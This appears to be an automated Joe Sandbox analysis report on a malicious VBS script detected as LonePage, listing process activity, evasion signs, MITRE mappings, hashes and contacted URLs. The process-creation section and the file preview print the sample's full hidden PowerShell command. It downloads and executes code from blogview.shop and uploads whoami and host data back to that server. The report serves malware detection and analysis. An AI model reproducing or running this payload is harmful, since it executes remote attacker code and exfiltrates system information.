Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 2_2_00007FFD34490EE1 sldt word ptr [eax]

2_2_00007FFD34490EE1

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4675			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5228			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2136

Thread sleep time: -12912720851596678s >= -30000s

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: powershell.exe, 00000002.00000002.2833532776.0000025CBA205000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Bypasses PowerShell execution policy

Source: C:\Windows\System32\wscript.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) | get-random -count( get-random -min 5 -max 15) | foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes($bjdo);};start-sleep 10;$ujk=new-object net.webclient;start-sleep 16;$ujk.uploaddata('https://blogview.shop/api/values/refresh199',$drpy);}

Source: C:\Windows\System32\wscript.exe

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) \| get-random -count( get-random -min 5 -max 15) \| foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.length -gt 1){$jkr=[system.text.encoding]::utf8.getstring($flm);if($jkr -match 'get-content'){[byte[]] $drpy=iex $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[system.net.dns]::gethostaddresses($ip)+[system.environment]::newline;$hbn=iex $jkr;$bjdo+=$hbn\|out-string;[byte[]]$drpy=[system.text.encoding]::utf8.getbytes($bjdo);};start-sleep 10;$ujk=new-object net.webclient;start-sleep 16;$ujk.uploaddata('https://blogview.shop/api/values/refresh199',$drpy);}
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) \| get-random -count( get-random -min 5 -max 15) \| foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.length -gt 1){$jkr=[system.text.encoding]::utf8.getstring($flm);if($jkr -match 'get-content'){[byte[]] $drpy=iex $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[system.net.dns]::gethostaddresses($ip)+[system.environment]::newline;$hbn=iex $jkr;$bjdo+=$hbn\|out-string;[byte[]]$drpy=[system.text.encoding]::utf8.getbytes($bjdo);};start-sleep 10;$ujk=new-object net.webclient;start-sleep 16;$ujk.uploaddata('https://blogview.shop/api/values/refresh199',$drpy);}			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected LonePage

Source: Yara match	File source: sAKF0egIZ5.vbs, type: SAMPLE
Source: Yara match	File source: 00000000.00000002.2122905878.000002959CEB5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2122771795.000002959CC19000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2122383427.000002959CC94000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2122876917.000002959CC95000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2815705990.0000025CA369D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2122771795.000002959CC88000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2815282835.0000025CA0250000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2815282835.0000025CA02D6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2122072933.000002959CC88000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2122771795.000002959CC46000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2815705990.0000025CA1C71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 572, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6224, type: MEMORYSTR

Remote Access Functionality

Yara detected LonePage

Source: Yara match	File source: sAKF0egIZ5.vbs, type: SAMPLE
Source: Yara match	File source: 00000000.00000002.2122905878.000002959CEB5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2122771795.000002959CC19000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2122383427.000002959CC94000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2122876917.000002959CC95000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2815705990.0000025CA369D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2122771795.000002959CC88000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2815282835.0000025CA0250000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2815282835.0000025CA02D6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2122072933.000002959CC88000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2122771795.000002959CC46000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2815705990.0000025CA1C71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 572, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6224, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	221 Scripting	Valid Accounts	1 Command and Scripting Interpreter	221 Scripting	11 Process Injection	1 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	3 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	12 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
sAKF0egIZ5.vbs	13%	ReversingLabs	Script-WScript.Trojan.Laburrak

Source	Detection	Scanner	Label
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
blogview.shop	unknown	unknown	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://blogview.shop/api/values/38303529143438199171/refresh199/9076518342.txt	powershell.exe, 00000002.00000002.2815705990.0000025CA3266000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000002.00000002.2829876539.0000025CB1CDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2829876539.0000025CB1E1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2815705990.0000025CA36A7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://blogview.shop/api/values/refresh199	powershell.exe, 00000002.00000002.2815282835.0000025CA0250000.00000004.00000020.00020000.00000000.sdmp, sAKF0egIZ5.vbs	true		unknown
https://blogview.shop/api/values/38303529143438199171/refresh199/	powershell.exe, 00000002.00000002.2815282835.0000025CA0250000.00000004.00000020.00020000.00000000.sdmp, sAKF0egIZ5.vbs	true		unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000002.00000002.2815705990.0000025CA1E9D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000002.00000002.2815705990.0000025CA1E9D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://go.micro	powershell.exe, 00000002.00000002.2815705990.0000025CA289D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 00000002.00000002.2815705990.0000025CA36A7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000002.00000002.2829876539.0000025CB1CDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2829876539.0000025CB1E1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2815705990.0000025CA36A7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://blogview.shop/api/values/	powershell.exe, 00000002.00000002.2815705990.0000025CA3557000.00000004.00000800.00020000.00000000.sdmp	true		unknown
https://contoso.com/License	powershell.exe, 00000002.00000002.2815705990.0000025CA36A7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000002.00000002.2815705990.0000025CA36A7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000002.00000002.2815705990.0000025CA1C71000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://blogview.shop	powershell.exe, 00000002.00000002.2815705990.0000025CA333C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2815705990.0000025CA3266000.00000004.00000800.00020000.00000000.sdmp	true		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000002.00000002.2815705990.0000025CA1C71000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000002.00000002.2815705990.0000025CA1E9D000.00000004.00000800.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

⊘No contacted IP infos

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1542808
Start date and time:	2024-10-26 13:48:31 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	sAKF0egIZ5.vbs renamed because original name is a hash value
Original Sample Name:	8e4b8955547646a9cf36ca410a04d694448b3b09874c0b886b0a726b3afb5f3e.vbs
Detection:	MAL
Classification:	mal100.spre.troj.expl.evad.winVBS@4/4@1/0
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 4 Number of non-executed functions: 6
Cookbook Comments:	Found application associated with file extension: .vbs

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 6224 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: sAKF0egIZ5.vbs

Simulations

Behavior and APIs

Time	Type	Description
07:49:23	API Interceptor	45x Sleep call for process: powershell.exe modified

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	9434
Entropy (8bit):	4.928515784730612
Encrypted:	false
SSDEEP:	192:Lxoe5qpOZxoe54ib4ZVsm5emdrgkjDt4iWN3yBGHVQ9smzdcU6Cj9dcU6CG9smAH:srib4ZIkjh4iUxsT6Ypib47
MD5:	D3594118838EF8580975DDA877E44DEB
SHA1:	0ACABEA9B50CA74E6EBAE326251253BAF2E53371
SHA-256:	456A877AFDD786310F7DAF74CCBC7FB6B0A0D14ABD37E3D6DE9D8277FFAC7DDE
SHA-512:	103EA89FA5AC7E661417BBFE049415EF7FA6A09C461337C174DF02925D6A691994FE91B148B28D6A712604BDBC4D1DB5FEED8F879731B36326725AA9714AC53C
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1ce5czcm.1zx.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uzcw4r15.alb.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	ASCII text, with very long lines (836), with CRLF, LF line terminators
Entropy (8bit):	5.419642674774855
TrID:
File name:	sAKF0egIZ5.vbs
File size:	903 bytes
MD5:	f8e87c59004eb9f061be8865f37c8b02
SHA1:	cd46f893ef8e9b0fbf7865511f6a440390255623
SHA256:	8e4b8955547646a9cf36ca410a04d694448b3b09874c0b886b0a726b3afb5f3e
SHA512:	f372b288fb96f0df9390750234c5570a3f3db5fb382263af18adfd71997b0802ec724301fa5fa14803d14cede3b26d8da75539be21be46f972f517ee9ad84949
SSDEEP:	24:2jXxuqQZjZGrlpKOFoeoQVrL2/8xap7Uu73Nlp/W9:UhQdYHKEojQVeEUp7J7dK
TLSH:	F71104339003C76E0BC5A60542CFAE847DA7BB15564EA788ACD9CD5C741A459B66401F
File Content Preview:	dim r, c.set r = createobject("WScript.Shell").c = "powershell.exe -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) \| get-random -coun

File Icon


Icon Hash:	68d69b8f86ab9a86

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 26, 2024 13:50:31.601265907 CEST	65366	53	192.168.2.6	1.1.1.1
Oct 26, 2024 13:50:31.622911930 CEST	53	65366	1.1.1.1	192.168.2.6

DNS Queries

